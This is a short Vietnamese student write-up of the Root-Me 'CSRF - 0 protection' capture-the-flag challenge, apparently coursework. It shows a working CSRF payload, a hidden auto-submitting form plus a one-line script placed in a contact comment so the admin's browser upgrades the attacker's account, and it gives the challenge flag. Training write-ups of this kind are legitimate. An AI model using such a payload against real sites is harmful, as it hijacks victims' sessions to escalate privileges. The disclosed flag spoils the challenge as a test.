

Lê Hoàng Phúc

20521763

NT213.N21.ANTN

Tên challenge : CSRF - 0 protection

Challenge Link: <https://www.root-me.org/en/Challenges/Web-Client/CSRF-0-protection>

Đăng ký tài khoản và đăng nhập :

Vào tab Contact

```
<form id="clickme" action="http://challenge01.root-me.org/web-client/ch22/?action=profile" method="post" enctype="multipart/form-data">
    <input type="text" name="username" value="phl235363">
    <input type="checkbox" name="status" checked>
</form>
```

```
<script>document.getElementById("clickme").submit();</script>
```

Form này sẽ tự thực hiện khi gửi đến admin:

The screenshot shows a web page with a "Contact" input field containing the email "20521763@gm.uit.edu.vn". Below it is a "Comment" input field containing the following JavaScript code:

```
enctype="multipart/form-data">
    <input type="text" name="username" value="phl235363">
    <input type="checkbox" name="status" checked>
</form>
<script>document.getElementById("clickme").submit();</script>
```

At the bottom of the form is a "Submit" button.

Vào Private xem flag :



[Contact](#) | [Profile](#) | [Private](#) | [Logout](#)

Good job dude, flag is : Csrf\_Fr33style-L3v3l1!

Flag: Csrf\_Fr33style-L3v3l1!

Time 15p